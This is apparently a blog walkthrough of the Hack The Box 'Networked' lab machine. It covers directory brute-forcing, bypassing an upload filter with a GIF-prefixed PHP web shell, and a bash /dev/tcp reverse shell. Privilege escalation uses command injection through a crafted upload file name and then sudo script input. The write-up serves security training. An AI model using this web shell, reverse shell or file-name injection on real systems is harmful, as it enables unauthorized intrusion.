# Hack The Box — Networked

Hack The Box — Networked walkthrough

#### Hack The Box — Networked <a href="#id-091a" id="id-091a"></a>

Hey folks, today we have a machine for all who love CTF techniques with PHP techniques, let’s take a look at its info and get started…

<figure><img src="https://cdn-images-1.medium.com/max/800/1*zy2mjWsRWWG5PCHfqAXOFA.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://cdn-images-1.medium.com/max/800/1*kGZxL20inqjRQTtJYjtHhg.png" alt=""><figcaption></figcaption></figure>

**Nmap scan**

As usual, we will start our scan with `nmap` scan `namp -A -T4 -oG networked.gnmap 10.10.10.146`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*wzOl45joeownXd4bg5bb1A.png" alt=""><figcaption></figcaption></figure>

From the results we have 2 open ports `http/ssh` and 1 closed report `https`

After enumerating the website I don’t have found any interesting thing, so I check the source code and also nothing found

After that I’ve checked the directories by brute-forcing them by using `dirsearch`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*50tzGudki3pdnflPP5IhkA.png" alt=""><figcaption></figcaption></figure>

We have a bunch of interesting directories like `backup/uploads/upload.php` so I’ve checked the `/backup` and found `tar` file, after downloading and extract it, I’ve found 4 files

<figure><img src="https://cdn-images-1.medium.com/max/800/1*5RcH4p3qjSYCwg7UpexdPA.png" alt=""><figcaption></figcaption></figure>

After checking `upload.php`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*qkgy-tCsCBFh9NTgH1lbtQ.png" alt=""><figcaption></figcaption></figure>

I understand how it handles the upload process, it checks the file size and the file extension

So let’s try to access [`http://10.10.10.146/upload.php`](http://10.10.10.146/upload.php) and try to upload `shell.php` “I know that it will refuse, but it was just testing”

I then changed the extension to `shell.php.png` and as you can see it refuses

<figure><img src="https://cdn-images-1.medium.com/max/800/1*qTdDGnId-yJw8wjxkbdIEg.png" alt=""><figcaption></figcaption></figure>

So it refused my file with file size less than 60000 and also extension contain `png`

So I tried to add a magic number at the beginning of the shell as you can see `GIF8;<?php system($_GET[‘cmd’]); >` and it works

<figure><img src="https://cdn-images-1.medium.com/max/800/1*gLe7Pt8pr2eGIKAD9iz2ZA.png" alt=""><figcaption></figcaption></figure>

From the brute force step I’ve directory called `/photos.php` so I visited it and see that the file name was changed

<figure><img src="https://cdn-images-1.medium.com/max/800/1*vKXrcOQs9IjfXei9P1IfuA.png" alt=""><figcaption></figcaption></figure>

I viewed it by accessing [`http://10.10.10.146/photos.php/filename`](http://10.10.10.146/photos.php/filename)

<figure><img src="https://cdn-images-1.medium.com/max/800/1*bxAz0iCAJ97agf4fs6vPRA.png" alt=""><figcaption></figcaption></figure>

And then try to execute command through `cmd` variable. This will execute `whoami` with the server because the file extension is`.php.png` so the server will execute `.php` first

<figure><img src="https://cdn-images-1.medium.com/max/800/1*NT8xsgVGQ0v7ZqSWOSLkIA.png" alt=""><figcaption></figcaption></figure>

The next step is invoking reverse shell through this variable by typing `bash -i >& /dev/tcp/ip/port 0>&1` and then let `nc` listen to the same port

<figure><img src="https://cdn-images-1.medium.com/max/800/1*D-mzKFJHbYq8DoMIBrPvCA.png" alt=""><figcaption></figcaption></figure>

**User flag**

We have a shell now, let’s try to find a way to get user privileges

If you checked the user directory `home/guly/`and found `check_attack.php`file

<figure><img src="https://cdn-images-1.medium.com/max/800/1*aACOQm_siWgp56d9rJqOsA.png" alt=""><figcaption></figcaption></figure>

it contains `exec` function which execute commands in the server.

It executes `rm -f file_path` to `/dev/null` for any weird file name and the `file_path` is `/var/www/html/uploads` so if we could make a file name there with reverse shell bash and make it with weird file name

<figure><img src="https://cdn-images-1.medium.com/max/800/1*XDMT3j7ePEPT7g20nKJCSw.png" alt=""><figcaption></figcaption></figure>

the file name contain `; .` and then open `netcat` to listen for this port

<figure><img src="https://cdn-images-1.medium.com/max/800/1*R_NqiUGE2zhTD-PvRLeWDg.png" alt=""><figcaption></figcaption></figure>

and the `user.txt` is available now

<figure><img src="https://cdn-images-1.medium.com/max/800/1*rUNPbcOasZ7f6llT9kF2fw.png" alt=""><figcaption></figcaption></figure>

**Root flag**

By executing `sudo -l` to know what is the user’s privileges I’ve found that he can perform command with sudo with no password

<figure><img src="https://cdn-images-1.medium.com/max/800/1*rNwwYLprAeMMPYTtf19EXw.png" alt=""><figcaption></figcaption></figure>

After checking the file content

<figure><img src="https://cdn-images-1.medium.com/max/800/1*jXoDiI9aA1Nzbg_GKYeMcg.png" alt=""><figcaption></figcaption></figure>

The first section will open new file with `EoF` and end it with the second `EoF` and insert inside it the 3 lines between them

The second and third section will ask you to insert the value of 4 variables and insert your answers into new file

After executing it and insert `sh` into any variable of them, the server will execute it as `bash` command and get back the user shell

<figure><img src="https://cdn-images-1.medium.com/max/800/1*BDuxqu9tWpNrgjGq-CS6BQ.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://cdn-images-1.medium.com/max/800/1*HnWL7rr-QDaDk3LwctsQ1w.png" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eslam3kl.gitbook.io/blog/hack-the-box-machines/hack-the-box-networked.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
